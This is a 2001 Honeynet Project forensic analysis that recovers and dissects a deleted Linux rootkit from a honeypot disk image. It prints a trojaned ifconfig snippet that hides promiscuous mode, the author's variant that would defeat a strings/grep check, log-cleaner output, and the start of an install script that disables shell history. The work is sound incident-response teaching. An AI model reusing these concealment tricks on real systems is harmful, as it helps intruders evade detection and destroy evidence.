Project Honeynet Scan of the Month 15: Analysis.

Jason Lee <[email protected]>
25 May 2001

The scan for May, 2001. The purpose of this months challenge is to introduce beginners to the world of forensics, specifically file recovery. On 15 March, 2001, a Linux honeypot was successfully compromised, a rootkit was downloaded to the / partition and then deleted from the system. The aim of this challenge is to find and recover the deleted rootkit.

Contents

  1. Supplied information
  2. Tools used
  3. Preparing supplied / partition for analysis
  4. Mounting supplied / partition image for investigation
  5. Looking for strange directories
  6. Investigating MACtimes on the supplied / partition image
  7. Looking closer at the MACtimes
  8. Recovering the dead files (deleted files)
  9. Details of files that make up the rootkit
  10. Details of recovered dead files
  11. Files with no MD5 match
  12. Recovering missing 'computer' file
  13. Evidence of rootkit installation
  14. Something else...
  15. Challenge Requirements and Questions

1. Supplied information

Information supplied before beginning this analyis include:

2. Tools used

These are the various tools used in this analysis:
The Coroner's Toolkit (TCT) by Dan Farmer & Wietse Venema. Used to recover the rootkit. Specific tools used from the toolkit include: TCT can be downloaded from:

Various standard Unix commands: grep(1), sort(1), file(1), find(1L), xargs(1L), cat(1), strings(1), md5sum(1), cut(1), wc(1), strace(1), objdump(1).

The analysis was performed on a standard Redhat 7.0 x86 system.

3. Preparing supplied / partition for analysis

Verify honeynet.tar.gz downloaded ok by checking MD5 sum. The correct MD5 sum for honeynet.tar.gz is MD5=0dff8fb9fe022ea80d8f1a4e4ae33e21.
/home/honeynet/scan15 # md5sum honeynet.tar.gz
0dff8fb9fe022ea80d8f1a4e4ae33e21  honeynet.tar.gz
Now extract the / partition image.
/home/honeynet/scan15 # tar -zxvf honeynet.tar.gz
honeynet/
honeynet/honeypot.hda8.dd
honeynet/README
Verify the extracted / partition image. The correct MD5 sum for honeypot.hda8.dd is MD5=5a8ebf5725b15e563c825be85f2f852e.
/home/honeynet/scan15 # md5sum honeynet/honeypot.hda8.dd 
5a8ebf5725b15e563c825be85f2f852e  honeynet/honeypot.hda8.dd

4. Mounting supplied / partition image for investigation

Before rushing in to recover deleted files, I try to see if I can gather any info about the deleted rootkit by examining the existing / partition. Hopefully finding some crumbs will make the job of recovering the rootkit easier by having an idea as to what I'm looking for. First, I make a directory for use as a mount point for the supplied / partition image.
/home/honeynet/scan15 # mkdir mnt
Now I mount the supplied / partition image at the mnt directory I just created.
/home/honeynet/scan15 # mount -v -t ext2 -o ro,loop,nodev,noexec,noatime ./honeynet/honeypot.hda8.dd ./mnt 
mount: going to use the loop device /dev/loop0
/home/honeynet/scan15/honeynet/honeypot.hda8.dd on /home/honeynet/scan15/mnt type ext2 (ro,noexec,nodev,noatime,loop=/dev/loop0)
Now it is mounted, I can do some hunting.

5. Looking for strange directories

I want to look for any strange directories that might have been created to hide the rootkit files that may have been installed. I use the find(1) command to list all directories. (By printing quotes around the directories found by find(1), it is easy to see directory names with a space in them)
/home/honeynet/scan15 # cd mnt/
/home/honeynet/scan15/mnt # find . -type d -printf "\"%p\"\n"
"."
"./lost+found"
"./boot"
"./home"
"./usr"
"./var"
"./proc"
"./tmp"
"./tmp/.font-unix"
"./dev"
"./dev/ida"
"./dev/ida/.drag-on"
"./dev/ida/.. "
"./dev/pts"
"./dev/raw"
"./dev/rd"
"./etc"
"./etc/profile.d"
"./etc/X11"
"./etc/X11/applnk"
"./etc/X11/applnk/Utilities"
"./etc/X11/applnk/Internet"
"./etc/X11/applnk/System"
"./etc/X11/fs"
"./etc/default"
"./etc/rc.d"
"./etc/rc.d/init.d"
"./etc/rc.d/rc0.d"
"./etc/rc.d/rc1.d"
"./etc/rc.d/rc2.d"
"./etc/rc.d/rc3.d"
"./etc/rc.d/rc4.d"
"./etc/rc.d/rc5.d"
"./etc/rc.d/rc6.d"
"./etc/cron.daily"
"./etc/cron.monthly"
"./etc/cron.weekly"
"./etc/httpd"
"./etc/httpd/conf"
"./etc/logrotate.d"
"./etc/sysconfig"
"./etc/sysconfig/apm-scripts"
"./etc/sysconfig/console"
"./etc/sysconfig/network-scripts"
"./etc/sysconfig/cbq"
"./etc/news"
"./etc/cron.hourly"
"./etc/skel"
"./etc/ppp"
"./etc/ppp/peers"
"./etc/pam.d"
"./etc/security"
"./etc/security/console.apps"
"./etc/pcmcia"
"./etc/pcmcia/cis"
"./etc/cron.d"
"./etc/charsets"
"./etc/nmh"
"./etc/rpm"
"./etc/codepages"
"./etc/codepages/src"
"./etc/mail"
"./etc/smrsh"
"./etc/vga"
"./etc/snmp"
"./etc/uucp"
"./etc/uucp/oldconfig"
"./bin"
"./lib"
"./lib/modules"
"./lib/modules/2.2.14-5.0"
"./lib/modules/2.2.14-5.0/block"
"./lib/modules/2.2.14-5.0/cdrom"
"./lib/modules/2.2.14-5.0/fs"
"./lib/modules/2.2.14-5.0/ipv4"
"./lib/modules/2.2.14-5.0/misc"
"./lib/modules/2.2.14-5.0/net"
"./lib/modules/2.2.14-5.0/pcmcia"
"./lib/modules/2.2.14-5.0/scsi"
"./lib/modules/2.2.14-5.0/video"
"./lib/security"
"./mnt"
"./mnt/cdrom"
"./mnt/floppy"
"./opt"
"./root"
"./sbin"
"./sbin/pam_filter"
"./floppy"
Straight off I can see 2 directories that look unusual.
"./dev/ida/.drag-on"
"./dev/ida/.. "
Now for a listing of each directory:
/home/honeynet/scan15/mnt # ls -laF ./dev/ida/.drag-on/
total 660
drwxr-xr-x    2 root     root         1024 Mar 16 12:45 ./
drwxrwxr-x    4 root     root        12288 Mar 16 12:45 ../
-rwx------    1 root     root         7165 Mar 16 12:45 linsniffer*
-rwx------    1 root     root           75 Mar 16 12:45 logclear*
-rwxr-xr-x    1 root     root       632066 Mar 16 12:45 mkxfs*
-rw-r--r--    1 root     root          708 Mar 16 12:45 s
-rwxr-xr-x    1 root     root         4060 Mar 16 12:45 sense*
-rwx------    1 root     root         8268 Mar 16 12:45 sl2*
-rw-------    1 root     root          540 Mar 16 12:45 ssh_host_key
-rw-------    1 root     root          512 Mar 17 01:45 ssh_random_seed
-rw-r--r--    1 root     root          138 Mar 17 03:28 tcp.log
and
/home/honeynet/scan15/mnt # ls -laF "./dev/ida/.. "
total 659
drwxr-xr-x    2 root     root         1024 Mar 16 12:45 ./
drwxrwxr-x    4 root     root        12288 Mar 16 12:45 ../
-rwx------    1 root     root         7165 Mar 16 12:45 linsniffer*
-rwx------    1 root     root           75 Mar 16 12:45 logclear*
-rwxr-xr-x    1 root     root       632066 Mar 16 12:45 mkxfs*
-rw-r--r--    1 root     root          708 Mar 16 12:45 s
-rwxr-xr-x    1 root     root         4060 Mar 16 12:45 sense*
-rwx------    1 root     root         8268 Mar 16 12:45 sl2*
-rw-------    1 root     root          540 Mar 16 12:45 ssh_host_key
-rw-------    1 root     root          512 Mar 16 12:45 ssh_random_seed
-rw-r--r--    1 root     root            0 Mar 16 12:45 tcp.log
So, we've found some files from a rootkit. From an initial look, it appears as though each directory has the same files, apart from the differnce in file size of tcp.log. We now have an idea of what to look for in the next stage of the analysis, MACtimes.

6. Investigating MACtimes on the supplied / partition image

MACtimes are the mtimes, atimes, and ctimes of files. These being time of last modification, time of last access and time of last change respectively. I'm going to generate MACtimes for the entire / partition to, hopefully, provide a picture and timeline of the activities that occurred during the compromise. Make a directory to store all the MACtime output.
/home/honeynet/scan15/mnt # cd ..
/home/honeynet/scan15 # mkdir grave
/home/honeynet/scan15 # cd grave/
Gather forensic info of the / partition (../mnt), specifically MACtimes. (The output that I'll need specifically is dumped into the file 'body')
/home/honeynet/scan15/grave # grave-robber -c ../mnt -m -d . -o LINUX2 
List all inodes that have been deleted and convert them to a mactime body file:
/home/honeynet/scan15/grave # ils ../honeynet/honeypot.hda8.dd | ils2mac > body-deleted
Join the two mactime body files, so they are ready for mactime.
/home/honeynet/scan15/grave # cat body body-deleted > body-full
Generate MACtimes. Use the passwd and group files from the actual system to list uids and groups. The date 03/13/2001 specifies from 13 March 2001 forward.
/home/honeynet/scan15/grave # mactime -p ../mnt/etc/passwd -g ../mnt/etc/group -b body-full 03/13/2001 > mactimes.txt

7. Looking closer at the MACtimes

First, search for ".drag-on" in the mactimes.txt file. This should provide a starting point to understanding what files were manipulated during the compromise.
<snip>
Mar 16 01 12:36:48   520333 m.. -rw-r--r-- root     root     <honeypot.hda8.dd-dead-23>
Mar 16 01 12:44:50    35300 .a. -rwxr-xr-x root     root     ../mnt/bin/netstat
                      33280 .a. -rwxr-xr-x root     root     ../mnt/bin/ps
                     611931 .a. -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-2039>
                          1 .a. -rw-r--r-- root     root     <honeypot.hda8.dd-dead-2040>
                       1345 .a. -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-2043>
                        880 .a. -rw-r--r-- root     root     <honeypot.hda8.dd-dead-2048>
                        344 .a. -rw-r--r-- root     root     <honeypot.hda8.dd-dead-2050>
                        688 .a. -rw-r--r-- root     root     <honeypot.hda8.dd-dead-2052>
                     520333 .a. -rw-r--r-- root     root     <honeypot.hda8.dd-dead-23>
Mar 16 01 12:45:02     2048 m.c drwxr-xr-x root     root     ../mnt/bin
                      11952 .a. -rwxr-xr-x root     root     ../mnt/bin/chown
                      35300 ..c -rwxr-xr-x root     root     ../mnt/bin/netstat
                      33280 ..c -rwxr-xr-x root     root     ../mnt/bin/ps
                      34816 m.c drwxr-xr-x root     root     ../mnt/dev
                      12288 m.c drwxrwxr-x root     root     ../mnt/dev/ida
                       7165 mac -rwx------ root     root     ../mnt/dev/ida/.. /linsniffer
                         75 mac -rwx------ root     root     ../mnt/dev/ida/.. /logclear
                     632066 .a. -rwxr-xr-x root     root     ../mnt/dev/ida/.. /mkxfs
                       4060 mac -rwxr-xr-x root     root     ../mnt/dev/ida/.. /sense
                       8268 mac -rwx------ root     root     ../mnt/dev/ida/.. /sl2
                       7165 m.c -rwx------ root     root     ../mnt/dev/ida/.drag-on/linsniffer
                         75 mac -rwx------ root     root     ../mnt/dev/ida/.drag-on/logclear
                     632066 m.c -rwxr-xr-x root     root     ../mnt/dev/ida/.drag-on/mkxfs
                        708 m.c -rw-r--r-- root     root     ../mnt/dev/ida/.drag-on/s
                       4060 mac -rwxr-xr-x root     root     ../mnt/dev/ida/.drag-on/sense
                       8268 mac -rwx------ root     root     ../mnt/dev/ida/.drag-on/sl2
                        540 m.c -rw------- root     root     ../mnt/dev/ida/.drag-on/ssh_host_key
                         87 mac -rw-r--r-- root     root     ../mnt/dev/last
                         71 mac -rw-r--r-- root     root     ../mnt/dev/rpm
                       3072 m.c drwxr-xr-x root     root     ../mnt/sbin
                      19840 ..c -rwxr-xr-x root     root     ../mnt/sbin/ifconfig
                       4060 .a. -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-2047>
                       8268 .a. -rwx------ root     root     <honeypot.hda8.dd-dead-2053>
                      53588 .ac -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-2058>
                         75 .a. -rwx------ root     root     <honeypot.hda8.dd-dead-2059>
                      66736 ..c -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-30188>
                      60080 ..c -r-xr-xr-x root     root     <honeypot.hda8.dd-dead-30191>
                      42736 ..c -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-48284>
Mar 16 01 12:45:03    33392 .a. -rwxr-xr-x root     root     ../mnt/bin/cp
                       5760 .a. -rwxr-xr-x root     root     ../mnt/bin/sleep
                       1024 m.c drwxr-xr-x root     root     ../mnt/dev/ida/..
                     632066 m.c -rwxr-xr-x root     root     ../mnt/dev/ida/.. /mkxfs
                        708 mac -rw-r--r-- root     root     ../mnt/dev/ida/.. /s
                        540 mac -rw------- root     root     ../mnt/dev/ida/.. /ssh_host_key
                        512 mac -rw------- root     root     ../mnt/dev/ida/.. /ssh_random_seed
                          0 mac -rw-r--r-- root     root     ../mnt/dev/ida/.. /tcp.log
                       1024 m.c drwxr-xr-x root     root     ../mnt/dev/ida/.drag-on
                       7165 .a. -rwx------ root     root     ../mnt/dev/ida/.drag-on/linsniffer
                     632066 .a. -rwxr-xr-x root     root     ../mnt/dev/ida/.drag-on/mkxfs
                        708 .a. -rw-r--r-- root     root     ../mnt/dev/ida/.drag-on/s
                        540 .a. -rw------- root     root     ../mnt/dev/ida/.drag-on/ssh_host_key
                        512 .a. -rw------- root     root     ../mnt/dev/ida/.drag-on/ssh_random_seed
                        138 .a. -rw-r--r-- root     root     ../mnt/dev/ida/.drag-on/tcp.log
                       3072 m.c drwxr-xr-x root     root     ../mnt/etc
                       3278 mac -rw-r--r-- root     root     ../mnt/etc/inetd.conf
                      13708 m.c -rwxr-xr-x root     root     ../mnt/etc/rc.d/rc.sysinit
                      11407 m.c -rw-r--r-- root     root     ../mnt/etc/services
<snip>
We land smack in the middle of what looks like the rootkit installation. You can see all the deleted files, referenced by <honeypot.hda8.dd-dead-N>. I'll try to recover the deleted files before examining the rootkit closer.

8. Recovering the dead files (deleted files)

I'm curious as to how many unique files can possibly be recovered. The following commands searches for unique dead files listed in mactimes.txt (ignoring symbolic links) and counts them. Some dead files may be listed more than once in mactimes.txt, hence searching for unique dead files.
/home/honeynet/scan15/grave # grep honeypot.hda8.dd-dead mactimes.txt | grep -v lrwxrwxrwx | cut -b 85- | cut -d">" -f 1 | sort -nu > deadfiles_to_recover.lst

/home/honeynet/scan15/grave # cat deadfiles_to_recover.lst
23
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2058
2059
2060
2061
8097
8100
16110
22103
22104
22105
22106
22107
22108
30188
30191
48284
56231

/home/honeynet/scan15/grave # wc -l deadfiles_to_recover.lst 
     35 deadfiles_to_recover.lst
Now to attempt recovery of each dead file. I'll store each recovered file in a seperate directory called recovered_deadfiles.
/home/honeynet/scan15/grave # mkdir recovered_deadfiles
And, now the recovery...
/home/honeynet/scan15/grave # \
> for deadfile in `cat deadfiles_to_recover.lst`;
> do
> icat ../honeynet/honeypot.hda8.dd $deadfile > ./recovered_deadfiles/$deadfile;
> done

/home/honeynet/scan15/grave # ls -laF ./recovered_deadfiles/
total 2136
drwx------    2 root     root         4096 May 12 20:08 ./
drwx------    7 root     root         4096 May 12 20:03 ../
-r--------    1 root     root          239 May 12 20:10 16110
-r--------    1 root     root            0 May 12 20:10 2038
-r--------    1 root     root       611931 May 12 20:10 2039
-r--------    1 root     root            1 May 12 20:10 2040
-r--------    1 root     root         3713 May 12 20:10 2041
-r--------    1 root     root          796 May 12 20:10 2042
-r--------    1 root     root         1345 May 12 20:10 2043
-r--------    1 root     root         3278 May 12 20:10 2044
-r--------    1 root     root           79 May 12 20:10 2045
-r--------    1 root     root        11407 May 12 20:10 2046
-r--------    1 root     root         4060 May 12 20:10 2047
-r--------    1 root     root          880 May 12 20:10 2048
-r--------    1 root     root          540 May 12 20:10 2049
-r--------    1 root     root          344 May 12 20:10 2050
-r--------    1 root     root          512 May 12 20:10 2051
-r--------    1 root     root          688 May 12 20:10 2052
-r--------    1 root     root         8268 May 12 20:10 2053
-r--------    1 root     root         4620 May 12 20:10 2054
-r--------    1 root     root        53588 May 12 20:10 2058
-r--------    1 root     root           75 May 12 20:10 2059
-r--------    1 root     root          708 May 12 20:10 2060
-r--------    1 root     root       632066 May 12 20:10 2061
-r--------    1 root     root            0 May 12 20:10 22103
-r--------    1 root     root            0 May 12 20:10 22104
-r--------    1 root     root            0 May 12 20:10 22105
-r--------    1 root     root            0 May 12 20:10 22106
-r--------    1 root     root            0 May 12 20:10 22107
-r--------    1 root     root            0 May 12 20:10 22108
-r--------    1 root     root       520333 May 12 20:10 23
-r--------    1 root     root        66736 May 12 20:10 30188
-r--------    1 root     root        60080 May 12 20:10 30191
-r--------    1 root     root        42736 May 12 20:10 48284
-r--------    1 root     root        33135 May 12 20:10 56231
-r--------    1 root     root            0 May 12 20:10 8097
-r--------    1 root     root        16329 May 12 20:10 8100
and running file(1) on each of these recovered files, yields:
/home/honeynet/scan15/grave # cd recovered_deadfiles/
/home/honeynet/scan15/grave/recovered_deadfiles # file *
16110: ASCII text
2038:  empty
2039:  ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped
2040:  ASCII text
2041:  Bourne shell script text
2042:  ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped
2043:  Bourne-Again shell script text
2044:  English text
2045:  Bourne shell script text
2046:  English text
2047:  perl commands text
2048:  English text
2049:  data
2050:  ASCII text
2051:  data
2052:  ASCII text
2053:  ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped
2054:  ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped
2058:  ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped
2059:  ASCII text
2060:  ASCII text
2061:  ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped
22103: empty
22104: empty
22105: empty
22106: empty
22107: empty
22108: empty
23:    gzip compressed data, deflated, last modified: Sat Mar  3 14:09:06 2001, os: Unix
30188: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped
30191: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped
48284: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped
56231: ASCII text
8097:  empty
8100:  English text

Notice file 23 is the only compressed file, and it is also listed in the MACtime output before the rootkit was installed. This is most likely the deleted rootkit... Let's see...

Make a directory called '23' and copy the recovered file '23' to this directory and add the extension '.gz', seeing as it is a gzip file.

/home/honeynet/scan15/grave/recovered_deadfiles # cd ../
/home/honeynet/scan15/grave # mkdir 23
/home/honeynet/scan15/grave # cd 23/
/home/honeynet/scan15/grave/23 # cp ../recovered_deadfiles/23 ./23.gz
Uncompress the file and do an ls...
/home/honeynet/scan15/grave/23 # gunzip 23.gz 
/home/honeynet/scan15/grave/23 # ls -laF
total 1432
drwxr-xr-x    2 root     root         4096 May 15 20:36 ./
drwx------    8 root     root         4096 May 15 20:36 ../
-rw-r--r--    1 root     root      1454080 May 15 20:36 23
Determine what type of file we now have using file(1).
/home/honeynet/scan15/grave/23 # file 23
23: GNU tar archive
A tar file. Rename it as such.
/home/honeynet/scan15/grave/23 # mv 23 23.tar
Now list the contents of the tar file.
/home/honeynet/scan15/grave/23 # tar -tvf 23.tar 
drwxr-xr-x 1031/users        0 2001-02-27 07:40:30 last/
tar: Archive contains future timestamp 2002-02-09 00:08:13
-rwxr-xr-x 1031/users   611931 2002-02-09 00:08:13 last/ssh
-rw-r--r-- 1031/users        1 2001-02-27 02:29:58 last/pidfile
-rwx------ 1031/users     3713 2001-03-03 14:08:37 last/install
-rwx------ 1031/users     7165 2001-02-27 02:22:50 last/linsniffer
-rwxr-xr-x 1031/users     1345 1999-09-10 01:57:11 last/cleaner
-rw-r--r-- 1031/users     3278 2001-01-28 02:11:32 last/inetd.conf
-rwxr-xr-x 1031/users       79 2001-02-27 02:28:40 last/lsattr
-rw-r--r-- 1031/users    11407 2001-01-28 02:11:44 last/services
-rwxr-xr-x 1031/users     4060 2001-02-27 02:22:55 last/sense
-rw-r--r-- 1031/users      880 2000-10-23 06:29:44 last/ssh_config
-rw------- 1031/users      540 2000-10-23 06:29:44 last/ssh_host_key
-rw-r--r-- 1031/users      344 2000-10-23 06:29:44 last/ssh_host_key.pub
-rw------- 1031/users      512 2000-10-23 06:29:44 last/ssh_random_seed
-rw-r--r-- 1031/users      688 2001-02-27 02:29:51 last/sshd_config
-rwx------ 1031/users     8268 2001-02-27 02:22:59 last/sl2
-rwxr-xr-x 1031/users     4620 2001-02-27 02:23:10 last/last.cgi
-rwxr-xr-x 1031/users    33280 2001-02-27 02:23:33 last/ps
-rwxr-xr-x 1031/users    35300 2001-02-27 02:23:42 last/netstat
-rwxr-xr-x 1031/users    19840 2001-02-27 02:23:47 last/ifconfig
-rwxr-xr-x 1031/users    53588 2001-02-27 02:23:55 last/top
-rwx------ 1031/users       75 2001-02-27 02:24:03 last/logclear
-rw-r--r-- root/root       708 2001-03-03 14:05:12 last/s
-rwxr-xr-x 1031/users   632066 2001-02-27 01:46:04 last/mkxfs
...and yes, it is the rootkit. Untar the rootkit.
/home/honeynet/scan15/grave/23 # tar -xvf 23.tar 
last/
tar: Archive contains future timestamp 2002-02-09 00:08:13
last/ssh
last/pidfile
last/install
last/linsniffer
last/cleaner
last/inetd.conf
last/lsattr
last/services
last/sense
last/ssh_config
last/ssh_host_key
last/ssh_host_key.pub
last/ssh_random_seed
last/sshd_config
last/sl2
last/last.cgi
last/ps
last/netstat
last/ifconfig
last/top
last/logclear
last/s
last/mkxfs
tar warns that it contains some file(s) with a timestamp in the future. Lets see by doing an ls.
/home/honeynet/scan15/grave/23 # ls -laF last/
total 1480
drwxr-xr-x    2 1031     users        4096 Feb 27 07:40 ./
drwxr-xr-x    3 root     root         4096 May 15 20:41 ../
-rwxr-xr-x    1 1031     users        1345 Sep 10  1999 cleaner*
-rwxr-xr-x    1 1031     users       19840 Feb 27 02:23 ifconfig*
-rw-r--r--    1 1031     users        3278 Jan 28 02:11 inetd.conf
-rwx------    1 1031     users        3713 Mar  3 14:08 install*
-rwxr-xr-x    1 1031     users        4620 Feb 27 02:23 last.cgi*
-rwx------    1 1031     users        7165 Feb 27 02:22 linsniffer*
-rwx------    1 1031     users          75 Feb 27 02:24 logclear*
-rwxr-xr-x    1 1031     users          79 Feb 27 02:28 lsattr*
-rwxr-xr-x    1 1031     users      632066 Feb 27 01:46 mkxfs*
-rwxr-xr-x    1 1031     users       35300 Feb 27 02:23 netstat*
-rw-r--r--    1 1031     users           1 Feb 27 02:29 pidfile
-rwxr-xr-x    1 1031     users       33280 Feb 27 02:23 ps*
-rw-r--r--    1 root     root          708 Mar  3 14:05 s
-rwxr-xr-x    1 1031     users        4060 Feb 27 02:22 sense*
-rw-r--r--    1 1031     users       11407 Jan 28 02:11 services
-rwx------    1 1031     users        8268 Feb 27 02:22 sl2*
-rwxr-xr-x    1 1031     users      611931 Feb  9  2002 ssh*
-rw-r--r--    1 1031     users         880 Oct 23  2000 ssh_config
-rw-------    1 1031     users         540 Oct 23  2000 ssh_host_key
-rw-r--r--    1 1031     users         344 Oct 23  2000 ssh_host_key.pub
-rw-------    1 1031     users         512 Oct 23  2000 ssh_random_seed
-rw-r--r--    1 1031     users         688 Feb 27 02:29 sshd_config
-rwxr-xr-x    1 1031     users       53588 Feb 27 02:23 top*

ssh is dated 9 Feb 2002. Not sure whether this is on purpose or not.

Run file(1) over each of the files to determine what type of file they are.
/home/honeynet/scan15/grave/23 # file last/*
last/cleaner:          Bourne-Again shell script text
last/ifconfig:         ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped
last/inetd.conf:       English text
last/install:          Bourne shell script text
last/last.cgi:         ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped
last/linsniffer:       ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped
last/logclear:         ASCII text
last/lsattr:           Bourne shell script text
last/mkxfs:            ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped
last/netstat:          ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped
last/pidfile:          ASCII text
last/ps:               ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped
last/s:                ASCII text
last/sense:            perl commands text
last/services:         English text
last/sl2:              ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped
last/ssh:              ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped
last/ssh_config:       English text
last/sshd_config:      ASCII text
last/ssh_host_key:     data
last/ssh_host_key.pub: ASCII text
last/ssh_random_seed:  data
last/top:              ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped

9. Details of files that make up the rootkit

last/cleaner

cleaner is used to clean out the log files in /var/log. The user supplies a string as the first argument, and the script does the following things: An example of cleaner running follows (Although this example doesn't actually do any cleaning).
# ./cleaner XXXXXXX      
* sauber by socked [07.27.97]
*
* Cleaning logs.. This may take a bit depending on the size of the logs.
* Cleaning XFree86.0.log (429 lines)...0 lines removed!
* Cleaning boot.log (569 lines)...0 lines removed!
* Cleaning boot.log.1 (90 lines)...0 lines removed!
* Cleaning boot.log.2 (90 lines)...0 lines removed!
* Cleaning boot.log.3 (623 lines)...0 lines removed!
* Cleaning boot.log.4 (90 lines)...0 lines removed!
* Cleaning cron (193 lines)...0 lines removed!
* Cleaning cron.1 (17 lines)...0 lines removed!
* Cleaning cron.2 (17 lines)...0 lines removed!
* Cleaning cron.3 (237 lines)...0 lines removed!
* Cleaning cron.4 (169 lines)...0 lines removed!
* Cleaning dmesg (92 lines)...0 lines removed!
* Cleaning htmlaccess.log (0 lines)...0 lines removed!
* Cleaning maillog (9 lines)...0 lines removed!
* Cleaning maillog.1 (3 lines)...0 lines removed!
* Cleaning maillog.2 (3 lines)...0 lines removed!
* Cleaning maillog.3 (21 lines)...0 lines removed!
* Cleaning maillog.4 (3 lines)...0 lines removed!
* Cleaning messages (1739 lines)...0 lines removed!
* Cleaning messages.1 (241 lines)...0 lines removed!
* Cleaning messages.2 (254 lines)...0 lines removed!
* Cleaning messages.3 (1971 lines)...0 lines removed!
* Cleaning messages.4 (511 lines)...0 lines removed!
* Cleaning netconf.log (0 lines)...0 lines removed!
* Cleaning netconf.log.1 (0 lines)...0 lines removed!
* Cleaning netconf.log.2 (0 lines)...0 lines removed!
* Cleaning netconf.log.3 (0 lines)...0 lines removed!
* Cleaning netconf.log.4 (0 lines)...0 lines removed!
* Cleaning secure (0 lines)...0 lines removed!
* Cleaning secure.1 (0 lines)...0 lines removed!
* Cleaning secure.2 (0 lines)...0 lines removed!
* Cleaning secure.3 (0 lines)...0 lines removed!
* Cleaning secure.4 (0 lines)...0 lines removed!
* Cleaning spooler (0 lines)...0 lines removed!
* Cleaning spooler.1 (0 lines)...0 lines removed!
* Cleaning spooler.2 (0 lines)...0 lines removed!
* Cleaning spooler.3 (0 lines)...0 lines removed!
* Cleaning spooler.4 (0 lines)...0 lines removed!
* Cleaning statistics (0 lines)...0 lines removed!
* Alles sauber mein Meister !'Q%[email protected] 

I have copies of various common rootkits, and generate md5sum hashes of the various files that make up the kits. I use a shell script to search these md5 files to see if a particular file can be traced back to a kit. I'll do it with this cleaner file.

/home/honeynet/scan15/grave/23/last # /home/hack/md5/fingerprint.sh cleaner 
-------------------------------------------------------------------------------
MD5 MATCH: cleaner
-------------------------------------------------------------------------------
/home/hack/md5/rootkits.md5:12e8748c19abe7a44e67196c22738e9b  ./tornkit/t0rnsb
It appears that this cleaner file is also a part of the t0rnkit, albeit a different file name.

last/ifconfig

This is a trojaned version of ifconfig. It doesn't flag PROMISC when network interfaces are indeed set to promiscuous mode.

A pretty easy test is to grep for PROMISC from strings(1) run over ifconfig. If PROMISC doesn't come up, because it should, then you can be fairly certain you have a trojan.
/home/honeynet/scan15/grave/23/last # strings ./ifconfig |grep PROMISC
/home/honeynet/scan15/grave/23/last # 
Fingerprint attempt:
/home/honeynet/scan15/grave/23/last # /home/hack/md5/fingerprint.sh ./ifconfig 
-------------------------------------------------------------------------------
MD5 MATCH: ./ifconfig
-------------------------------------------------------------------------------
/home/hack/md5/rootkits.md5:086394958255553f6f38684dad97869e  ./lrk4/net-tools-1.32-alpha/ifconfig
/home/hack/md5/rootkits.md5:086394958255553f6f38684dad97869e  ./lrk4_shad/net-tools-1.32-alpha/ifconfig
/home/hack/md5/rootkits.md5:086394958255553f6f38684dad97869e  ./lrk4_unshad/net-tools-1.32-alpha/ifconfig
/home/hack/md5/rootkits.md5:086394958255553f6f38684dad97869e  ./lrk5/net-tools-1.32-alpha/ifconfig

This exact version of ifconfig appears in the various Linux Rootkits (lrk). lrk3 also has the same ifconfig.

The C code that removes the PROMISC flag functionality from ifconfig.c is shown below.
<snip>
  if (ptr->flags & IFF_NOARP) printf("NOARP ");
/* HACK remove PROMISC message for hassle phree sniffing */
/* if (ptr->flags & IFF_PROMISC) printf("PROMISC "); */
  if (ptr->flags & IFF_ALLMULTI) printf("ALLMULTI ");
<snip>
A very easy way to foil the grep(1) and strings(1) test is for the hacker to change the above code to something simple like this:
<snip>
  if (ptr->flags & IFF_NOARP) printf("NOARP ");
/* HACK remove PROMISC message for hassle phree sniffing */
  if (0 == 1) printf("PROMISC ");
  if (ptr->flags & IFF_ALLMULTI) printf("ALLMULTI ");
<snip>
This way, when you grep for PROMISC, it comes up as expected, and will 'look' normal to the person investigating it, as does the non-trojaned original ifconfig.
# strings ./ifconfig |grep PROMISC
PROMISC 

# strings /sbin/ifconfig |grep PROMISC
PROMISC 

Check binaries with md5sum or some other hashing function against a known safe binary to be sure of it's integrity.


last/inetd.conf

This is the hackers copy of inetd.conf, which is forcefully copied over the top of /etc/inetd.conf (via the install script, next). There is only two services available in this file, as the rest are commented out. The two services being:

telnet  stream  tcp     nowait  root    /usr/sbin/tcpd  in.telnetd
pop-3   stream  tcp     nowait  cyrus   /usr/cyrus/bin/pop3d    pop3d
I'll check to see if the user 'cyrus' is in the password files.
/home/honeynet/scan15 # grep cyrus mnt/etc/shadow* mnt/etc/passwd*
/home/honeynet/scan15 #

User 'cyrus' isn't in the password files...


last/install

This is the script to install the rootkit. A description of the install script follows.

Clear the screen and unset history file, so the command history is not saved.
#!/bin/sh
clear
unset HISTFILE
Comments...
echo    "********* Mircea SUGI PULA ********************************"
echo    "********* Multumiri La Toti Care M-Au Ajutat **************" 
echo    "********* Lemme Give You A Tip : **************************"
echo    "********* Ignore everything, call your freedom ************"
echo    "********* Scream & swear as much as you can ***************"
echo    "********* Cuz anyway nobody will hear you and no one will *"
echo    "********* Care about you **********************************"
echo
echo
